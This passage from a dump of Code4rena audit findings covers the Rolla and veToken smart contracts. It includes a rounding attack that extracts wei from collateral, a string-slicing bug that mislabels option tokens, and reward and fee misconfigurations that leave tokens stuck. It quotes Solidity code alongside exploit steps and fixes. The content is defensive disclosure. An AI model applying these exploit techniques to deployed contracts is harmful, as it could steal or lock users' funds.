= 10^33 - 2 * 10^19` 2-3. `X3 = _amount * 10^9 = 10^28 * 10^9 = 10^37` 2-4. `Y1 = (X2 - X1) * X3 // 10^27 = (10^33 - 3 * 10^19) * 10^37 // 10^27 = 99999999999997 * 10^29` 2-5. `Y2 = Y1 * 10^27 / X2 = (99999999999997 * 10^28) * 10^27 / (10^33 - 2 * 10^19) = 9999999999999899999999999997999999999 3. combine terms 3-1. `B1 = A1 + A2 - A3 = 0 + 9999999999999899999999999990000000000 - 9999999999999899999999999997999999999 = -2000000001 3-2. `Z = abs(B1) // 10^9 = 2000000000 // 10^9 = 2 And with this, we managed to squeeze 2 wei from a presumably worthless collateral. This attack still suffers from several problems 1. cost of WETH in BUSD is way higher than current market 2. need to predict target price accurately to profit 3. requires large amount of WETH to profit While it is still pretty hard to pull off attack, the requirements seems pretty more likely to be achievable compared to the first version of exploit. Apart from this, there is also the nice property that this attack allows profit to scale with money invested. This concludes our demonstration of two attacks against the potential flaws in number handling. ## Tools Used vim, ganache-cli ## Recommended Mitigation Steps For `div` and `mul`, adding in a similar opt-out round up argument would work. This would require some refactoring of code, but is the only way to fundamentally solve the problem. For `intToUint`, I still can't understand what the original motive is to design it as `abs` in disguise. Since nowhere in this project would we benefit from the current `abs` behaviour, in my opinion, it would be best to adopt a similar strategy to the `uintToInt` function. If the value goes out of directly convertable range ( < 0), revert and throw an error message. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "Incorrect strike price displayed in name/symbol of qToken ", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/28", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/RollaProject/quant-protocol/blob/main/contracts/options/QTokenStringUtils.sol#L38 https://github.com/RollaProject/quant-protocol/blob/main/contracts/options/QTokenStringUtils.sol#L90 https://github.com/RollaProject/quant-protocol/blob/main/contracts/options/QTokenStringUtils.sol#L136 https://github.com/RollaProject/quant-protocol/blob/main/contracts/options/QTokenStringUtils.sol#L206 # Vulnerability details ## Impact `_slice()` in `options/QTokenStringUtils.sol` cut a string into `string[start:end]` However, while fetching bytes, it uses `bytes(_s)[_start+1]` instead of `bytes(_s)[_start+i]`. This causes the return string to be composed of `_s[start]*(_end-_start)`. The result of this function is then used to represent the decimal part of strike price in name/symbol of qToken, leading to potential confusion over the actual value of options. ## Proof of Concept ERC20 tokens are usually identified by their name and symbol. If the symbols are incorrect, confusions may occur. Some may argue that even if names and symbols are not accurate, it is still possible to identify correct information/usage of tokens by querying the provided view functions and looking at its interactions with other contracts. However, the truth is many users of those tokens are not very tech savvy, and it is reasonable to believe a large proportion of users are not equipped with enough knowledge, or not willing to dig further than the plain symbols and names. This highlights the importance of maintaining a correct facade for ERC20 tokens. The bug demonstrated here shows that any qToken with decimals in its strike price will be misdisplayed, and the maximal difference between actual price and displayed one can be up to 0.1 BUSD. The exploit can be outlined through the following steps: * Alice created a call option with strike price 10000.90001. The expected symbol should for this qToken should be : `ROLLA WETH 31-December-2022 10000.90001 Call` * Both `_qTokenName()` and `_qTokenSymbol()` in `options/QTokenStringUtils.sol` use `_displayedStrikePrice()` to get the strike price string which should be `10000.90001` https://github.com/RollaProject/quant-protocol/blob/main/contracts/options/QTokenStringUtils.sol#L38 https://github.com/RollaProject/quant-protocol/blob/main/contracts/options/QTokenStringUtils.sol#L90 ``` function _qTokenName( address _quantConfig, address _underlyingAsset, address _strikeAsset, uint256 _strikePrice, uint256 _expiryTime, bool _isCall ) internal view virtual returns (string memory tokenName) { string memory underlying = _assetSymbol(_quantConfig, _underlyingAsset); string memory displayStrikePrice = _displayedStrikePrice( _strikePrice, _strikeAsset ); ... tokenName = string( abi.encodePacked( \"ROLLA\", \" \", underlying, \" \", _uintToChars(day), \"-\", monthFull, \"-\", Strings.toString(year), \" \", displayStrikePrice, \" \", typeFull ) ); } ``` ``` function _qTokenSymbol( address _quantConfig, address _underlyingAsset, address _strikeAsset, uint256 _strikePrice, uint256 _expiryTime, bool _isCall ) internal view virtual returns (string memory tokenSymbol) { string memory underlying = _assetSymbol(_quantConfig, _underlyingAsset); string memory displayStrikePrice = _displayedStrikePrice( _strikePrice, _strikeAsset ); // convert the expiry to a readable string (uint256 year, uint256 month, uint256 day) = DateTime.timestampToDate( _expiryTime ); // get option type string (string memory typeSymbol, ) = _getOptionType(_isCall); // get option month string (string memory monthSymbol, ) = _getMonth(month); /// concatenated symbol string tokenSymbol = string( abi.encodePacked( \"ROLLA\", \"-\", underlying, \"-\", _uintToChars(day), monthSymbol, _uintToChars(year), \"-\", displayStrikePrice, \"-\", typeSymbol ) ); } ``` * `_displayedStrikePrice()` combines the quotient and the remainder to form the strike price string. The remainder use `_slice` to compute. In this case, the quotient is `10000` and the remainder is `90001` https://github.com/RollaProject/quant-protocol/blob/main/contracts/options/QTokenStringUtils.sol#L136 ``` function _displayedStrikePrice(uint256 _strikePrice, address _strikeAsset) internal view virtual returns (string memory) { uint256 strikePriceDigits = ERC20(_strikeAsset).decimals(); uint256 strikePriceScale = 10**strikePriceDigits; uint256 remainder = _strikePrice % strikePriceScale; uint256 quotient = _strikePrice / strikePriceScale; string memory quotientStr = Strings.toString(quotient); if (remainder == 0) { return quotientStr; } uint256 trailingZeroes; while (remainder % 10 == 0) { remainder /= 10; trailingZeroes++; } // pad the number with \"1 + starting zeroes\" remainder += 10**(strikePriceDigits - trailingZeroes); string memory tmp = Strings.toString(remainder); tmp = _slice(tmp, 1, (1 + strikePriceDigits) - trailingZeroes); return string(abi.encodePacked(quotientStr, \".\", tmp)); } ``` * However inside the loop of `_slice()`, `slice[i] = bytes(_s)[_start + 1];` lead to an incorrect string, which is `90001` https://github.com/RollaProject/quant-protocol/blob/main/contracts/options/QTokenStringUtils.sol#L206 ``` function _slice( string memory _s, uint256 _start, uint256 _end ) internal pure virtual returns (string memory) { uint256 range = _end - _start; bytes memory slice = new bytes(range); for (uint256 i = 0; i < range; ) { slice[i] = bytes(_s)[_start + 1]; unchecked { ++i; } } return string(slice); } ``` * The final qtoken name now becomes `ROLLA WETH 31-December-2022 10000.99999 Call`, which results in confusion over the actual value of options. ## Tools Used Manual code review. ## Recommended Mitigation Steps Fix the bug in the `_slice()` ``` function _slice( string memory _s, uint256 _start, uint256 _end ) internal pure virtual returns (string memory) { uint256 range = _end - _start; bytes memory slice = new bytes(range); for (uint256 i = 0; i < range; ) { slice[i] = bytes(_s)[_start + i]; unchecked { ++i; } } return string(slice); } ``` "}, {"title": "ConfigTimeLockController will put QuantConfig in a stalemate(rendering it unusable) ", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/27", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/timelock/ConfigTimelockController.sol#L28 https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/QuantConfig.sol#L27 # Vulnerability details The QuantConfig contract has these important setters, setProtocolAddress(), setProtocolUint256, setProtocolBoolean() and setProtocolRole(). This contract is subjected to a timelock before all such processes above are executed. But, the issue arises in the fact that in configTimeLockController, the state variable minimum delay can be set to an arbitrary value, up to type(uint256).max(cannot assume what value will be set) and could potentially render the QuantConfig contract unusable . All the previous values and addresses would not be able to be changed because of a very high delay being set: https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/timelock/ConfigTimelockController.sol#L28 I discussed with one of the devs about the use of this specific mapping : https://github.com/code-423n4/2022-03-rolla/blob/efe4a3c1af8d77c5dfb5ba110c3507e67a061bdd/quant-protocol/contracts/QuantConfig.sol#L27 After discussions with one of the devs(#0xca11.eth) , it was understood that these values are for the rollaOrderFee which is a part of their limit order protocol contract(outside of the scope of the contest) but given the argument above, its configuration will be severely impacted (old percentage fees won't be able to be changed).Rolla limit order protocol depends on this configuration setting within QuantConfig. It is recommended that a constant be declared with a MAXIMUM_DELAY and whatever \u2018minimum delay\u2019 that is set thereafter should be below this value since there's another function setDelay () which can also be of high arbitrary value: require(minimum delay \u2264MAXIMUM_DELAY, \u201c too high\u201d) "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/25", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/22", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/20", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "Usage of deprecated Chainlink functions", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/17", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/pricing/oracle/ChainlinkOracleManager.sol#L120 https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/pricing/oracle/ChainlinkFixedTimeOracleManager.sol#L81 https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/pricing/oracle/ChainlinkFixedTimeOracleManager.sol#L84 # Vulnerability details ## Impact The Chainlink functions `latestAnswer()` and `getAnswer()` are deprecated. Instead, use the [`latestRoundData()`](https://docs.chain.link/docs/price-feeds-api-reference/#latestrounddata) and [`getRoundData()`](https://docs.chain.link/docs/price-feeds-api-reference/#getrounddata) functions. ## Proof of Concept https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/pricing/oracle/ChainlinkOracleManager.sol#L120 https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/pricing/oracle/ChainlinkFixedTimeOracleManager.sol#L81 https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/pricing/oracle/ChainlinkFixedTimeOracleManager.sol#L84 Go to https://etherscan.io/address/0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419#code and search for `latestAnswer()` or `getAnswer()`. You'll find the deprecation notice. ## Tools Used none ## Recommended Mitigation Steps Switch to `latestRoundData()` as described [here](https://docs.chain.link/docs/price-feeds-api-reference/#latestrounddata) "}, {"title": "COLLATERAL_MINTER_ROLE can be granted by the deployer of QuantConfig and mint arbitrary amount of tokens", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/12", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/options/CollateralToken.sol#L101-L117 # Vulnerability details ## Impact ``` function mintCollateralToken( address recipient, uint256 collateralTokenId, uint256 amount ) external override { require( quantConfig.hasRole( quantConfig.quantRoles(\"COLLATERAL_MINTER_ROLE\"), msg.sender ), \"CollateralToken: Only a collateral minter can mint CollateralTokens\" ); emit CollateralTokenMinted(recipient, collateralTokenId, amount); _mint(recipient, collateralTokenId, amount, \"\"); } ``` Using the mintCollateralToken() function of CollateralToken, an address with COLLATERAL_MINTER_ROLE can mint an arbitrary amount of tokens. If the private key of the deployer or an address with the COLLATERAL_MINTER_ROLE is compromised, the attacker will be able to mint an unlimited amount of collateral tokens. We believe this is unnecessary and poses a serious centralization risk. ## Proof of Concept https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/options/CollateralToken.sol#L101-L117 https://github.com/code-423n4/2022-03-rolla/blob/main/quant-protocol/contracts/options/CollateralToken.sol#L138-L160 ## Tools Used None ## Recommended Mitigation Steps Consider removing the COLLATERAL_MINTER_ROLE, make the CollateralToken only mintable by the owner, and make the Controller contract to be the owner and therefore the only minter. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/6", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "No use of upgradeable SafeERC20 contract in Controller.sol", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/5", "labels": ["bug", "2 (Med Risk)", "resolved"], "target": "2022-03-rolla-findings", "body": "No use of upgradeable SafeERC20 contract in Controller.sol"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-rolla-findings/issues/1", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-03-rolla-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/272", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/271", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/269", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/264", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/259", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/254", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/251", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/248", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/241", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/240", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/234", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Governance can arbitrarily burn VeToken from any address", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/233", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-vetoken-findings", "body": "Governance can arbitrarily burn VeToken from any address"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/232", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "lockVeAsset() in VeAssetDepositor don't follow the check-effect-interact pattern and it's vulnerable to reentrancy attack", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/231", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "lockVeAsset() in VeAssetDepositor don't follow the check-effect-interact pattern and it's vulnerable to reentrancy attack"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/230", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/229", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/228", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/223", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/221", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/219", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-vetoken-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/218", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Misconfiguration of Fees Incentive Might Cause Tokens To Be Stuck In `Booster` Contract", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/215", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L193 https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L576 # Vulnerability details ## Proof-of-Concept The `Booster.setFeeInfo` function is responsible for setting the allocation of gauge fees between lockers and $VE3D stakers. `lockFeesIncentive` and `stakerLockFeesIncentive` should add up to `10000` , which is equivalent to `100%`. However, there is no validation check to ensure that that `_lockFeesIncentive` and `_stakerLockFeesIncentive` add up to `10000`. Thus, it entirely depends on the developer to get these two values right. As such, it is possible to set `lockFeesIncentive + takerLockFeesIncentive` to be less than `100%`. This might happen due to human error. For instance, a typo (forget a few zero) or newly joined developer might not be aware of the fee denomination and called `setFeeInfo(40, 60)` instead of `setFeeInfo(4000, 6000)`. [https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L193](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L193) ```solidity uint256 public constant FEE_DENOMINATOR = 10000; // Set reward token and claim contract, get from Curve's registry function setFeeInfo(uint256 _lockFeesIncentive, uint256 _stakerLockFeesIncentive) external { require(msg.sender == feeManager, \"!auth\"); lockFeesIncentive = _lockFeesIncentive; stakerLockFeesIncentive = _stakerLockFeesIncentive; ..SNIP.. } ``` Assume that `setFeeInfo(40, 60)` is called instead of of `setFeeInfo(4000, 6000)`, only `1%` of the fee collected will be transferred to the users and the remaining `99%` of the fee collected will be stuck in the `Booster` contract. [https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L576](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L576) ```solidity function earmarkFees() external returns (bool) { //claim fee rewards IStaker(staker).claimFees(feeDistro, feeToken); //send fee rewards to reward contract uint256 _balance = IERC20(feeToken).balanceOf(address(this)); uint256 _lockFeesIncentive = _balance.mul(lockFeesIncentive).div(FEE_DENOMINATOR); uint256 _stakerLockFeesIncentive = _balance.mul(stakerLockFeesIncentive).div( FEE_DENOMINATOR ); if (_lockFeesIncentive > 0) { IERC20(feeToken).safeTransfer(lockFees, _lockFeesIncentive); IRewards(lockFees).queueNewRewards(_lockFeesIncentive); } if (_stakerLockFeesIncentive > 0) { IERC20(feeToken).safeTransfer(stakerLockRewards, _stakerLockFeesIncentive); IRewards(stakerLockRewards).queueNewRewards(feeToken, _stakerLockFeesIncentive); } return true; } ``` ### Can we retrieve or \"save\" the tokens stuck in `Booster` contract? Any veAsset (e.g. CRV, ANGLE) sitting on the `Booster` contract is claimable. However, in this case, the `feeToken` is likely not a veAsset, thus the remaining gauge fee will be stuck in the `Booster` contract perpetually. For instance, in Curve, the gauge fee is paid out in 3CRV, the LP token for the TriPool. ([Source](https://resources.curve.fi/crv-token/understanding-crv#staking-trading-fees)) ## Impact Users will lost their gauge fee if this happens. ## Recommended Mitigation Steps Implement validation check to ensure that `lockFeesIncentive` and `takerLockFeesIncentive` add up to 100% to eliminate any risk of misconfiguration. ```solidity uint256 public constant FEE_DENOMINATOR = 10000; // Set reward token and claim contract, get from Curve's registry function setFeeInfo(uint256 _lockFeesIncentive, uint256 _stakerLockFeesIncentive) external { require(msg.sender == feeManager, \"!auth\"); require(_lockFeesIncentive + _stakerLockFeesIncentive == FEE_DENOMINATOR, \"Invalid fees\"); lockFeesIncentive = _lockFeesIncentive; stakerLockFeesIncentive = _stakerLockFeesIncentive; ..SNIP.. } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/213", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-vetoken-findings", "body": "QA Report"}, {"title": "Gauge Rewards Stuck In `VoterProxy` Contract When `ExtraRewardStashV3` Is Used Within Angle Deployment", "html_url": "https://github.com/code-423n4/2022-05-vetoken-findings/issues/209", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-05-vetoken-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L495 # Vulnerability details > Note: This report aims to discuss the issue encountered when `ExtraRewardStashV3` is used within Angle Deployment. There is also another issue when `ExtraRewardStashV2` is used within Angle Deployment, but I will raise it in a separate report since `ExtraRewardStashV2` and `ExtraRewardStashV3` operate differently, and the proof-of-concept and mitigation are different too. ## Proof-of-Concept In this example, assume the following Angle's gauge setup > Name = Angle sanDAI_EUR Gauge > > Symbol = SsanDAI_EUR > > reward_count = 2 > > reward_tokens(0) = ANGLE > > reward_tokens(1) = DAI > > Gauge Contract: [LiquidityGaugeV4.vy](https://github.com/AngleProtocol/angle-core/blob/4d854e0d74be703a3707898f26ea2dd4166bc9b6/contracts/staking/LiquidityGaugeV4.vy) > > Stash Contract: [ExtraRewardStashV3](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/ExtraRewardStashV3.sol) To collect the gauge rewards, users would trigger the `Booster._earmarkRewards` function to claim veAsset and extra rewards from a gauge. Per the code logic, the function will attempt to execute the following two key operations: 1) First Operation - Claim the veAsset by calling `VoterProxy.claimVeAsset`. Call Flow as follow: `VoterProxy.claimVeAsset() > IGauge(_gauge).claim_rewards()`. 2) Second Operation - Claim extra rewards by calling `ExtraRewardStashV3.claimRewards`. Call flow as follows: `ExtraRewardStashV3.claimRewards > Booster.claimRewards > VoterProxy.claimRewards > IGauge(_gauge).claim_rewards()` . Note that`IGauge(_gauge).claim_rewards()` will claim all available reward tokens from the Angle's gauge. [https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L495](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/Booster.sol#L495) ```solidity //claim veAsset and extra rewards and disperse to reward contracts function _earmarkRewards(uint256 _pid) internal { PoolInfo storage pool = poolInfo[_pid]; require(pool.shutdown == false, \"pool is closed\"); address gauge = pool.gauge; //claim veAsset IStaker(staker).claimVeAsset(gauge); //check if there are extra rewards address stash = pool.stash; if (stash != address(0)) { //claim extra rewards IStash(stash).claimRewards(); //process extra rewards IStash(stash).processStash(); } ..SNIP.. } ``` ### First Operation - Claim the veAsset Since this is a Angle Deployment, when the `VoterProxy.claimVeAsset` is triggered, it will go through the if-else logic (`escrowModle == IVoteEscrow.EscrowModle.ANGLE`) and execute ` IGauge(_gauge).claim_rewards()`, and all rewards tokens will be sent to `VoterProxy` contract. Assume that `100 ANGLE` and `100 DAI` were received. Note that in this example, we have two reward tokens (ANGLE and DAI). Additionally, gauge redirection was not configured on the gauge at this point, thus the gauge rewards will be sent to the caller, which is the `VoterProxy` contract. Subsequently, the code `IERC20(veAsset).safeTransfer(operator, _balance);` will be executed, and veAsset (`100 ANGLE`) reward tokens will be transferred to the `Booster` contract for distribution. However, the `100 DAI` reward tokens will remain stuck in the `VoterProxy` contract. As such, users will not be able to get any reward tokens (e.g. DAI, WETH) except veAsset (ANGLE) tokens from the gauges. [https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VoterProxy.sol#L224](https://github.com/code-423n4/2022-05-vetoken/blob/2d7cd1f6780a9bcc8387dea8fecfbd758462c152/contracts/VoterProxy.sol#L224) ```solidity function claimVeAsset(address _gauge) external returns (uint256) { require(msg.sender == operator, \"!auth\"); uint256 _balance = 0; if (escrowModle == IVoteEscrow.EscrowModle.PICKLE) { try IGauge(_gauge).getReward() {} catch { return _balance; } } else if ( escrowModle == IVoteEscrow.EscrowModle.CURVE || escrowModle == IVoteEscrow.EscrowModle.RIBBON ) { try ITokenMinter(minter).mint(_gauge) {} catch { return _balance; } } else if (escrowModle == IVoteEscrow.EscrowModle.IDLE) { try ITokenMinter(minter).distribute(_gauge) {} catch { return _balance; } } else if (escrowModle == IVoteEscrow.EscrowModle.ANGLE) { try IGauge(_gauge).claim_rewards() {} catch { return _balance; } } _balance = IERC20(veAsset).balanceOf(address(this)); IERC20(veAsset).safeTransfer(operator, _balance); return _balance; } ``` Following is Angle's Gauge Contract for reference: [https://github.com/AngleProtocol/angle-core/blob/4d854e0d74be703a3707898f26ea2dd4166bc9b6/contracts/staking/LiquidityGaugeV4.vy#L344](https://github.com/AngleProtocol/angle-core/blob/4d854e0d74be703a3707898f26ea2dd4166bc9b6/contracts/staking/LiquidityGaugeV4.vy#L344) (Mainnet Deployed Address: https://etherscan.io/address/0x8E2c0CbDa6bA7B65dbcA333798A3949B07638026) > Note: Angle Protocol is observed to use LiquidityGaugeV4 contract for all of their gauges. Thus, ExtraRewardStashV3 is utilised during pool creation. ```python @external @nonreentrant('lock') def claim_rewards(_addr: address = msg.sender, _receiver: address = ZERO_ADDRESS): \"\"\" @notice Claim available reward tokens for `_addr` @param _addr Address to claim for @param _receiver Address to transfer rewards to - if set to ZERO_ADDRESS, uses the default reward receiver for the caller \"\"\" if _receiver != ZERO_ADDRESS: assert _addr == msg.sender # dev: cannot redirect when claiming for another user self._checkpoint_rewards(_addr, self.totalSupply, True, _receiver) ``` ### Second Operation - Claim extra rewards After the `IStaker(staker).claimVeAsset(gauge);` code within the `Booster._earmarkRewards` function is executed, `IStash(stash).claimRewards();` and `IStash(stash).processStash();` functions will be executed next. `stash` == `ExtraRewardStashV3`. The `ExtraRewardStashV3.claimRewards` will call the `Booster.setGaugeRedirect` first so that all the gauge rewards will be redirected to `ExtraRewardStashV3` stash contract. Subsequently, `ExtraRewardStashV3.claimRewards` will trigger `Booster.claimRewards` to claim the gauge rewards from the Angle's gauge. Note that this is the second time the contract attempts to claim gauge rewards from the gauge. Thus, no gauge rewards will be received since we already claimed them earlier. Next, `ExtraRewardStashV3` will attempt to process all the tokens stored in its contract and send them to the respective reward contracts for distribution to the users. However, the contract does not have any tokens stored in it because the earlier attempt to claim gauge rewards return nothing. As we can see, the DAI reward tokens are still stuck in the `VoterProxy` contract at this point. [https://github.com/AngleProtocol/angle-core/blob/4d854e0d74be703a3707898f26ea2dd4166bc9b6/contracts/staking/LiquidityGaugeV4.vy#L332](https://github.com/AngleProtocol/angle-core/blob/4d854e0d74be703a3707898f26ea2dd4166bc9b6/contracts/staking/LiquidityGaugeV4.vy#L332) ```python def set_rewards_receiver(_receiver: address): \"\"\" @notice Set the default reward receiver for the caller. @dev When set to ZERO_ADDRESS, rewards are sent to the caller @param _receiver Receiver address for any rewards claimed via `claim_rewards` \"\"\" self.rewards_receiver[msg.sender] = _receiver ``` 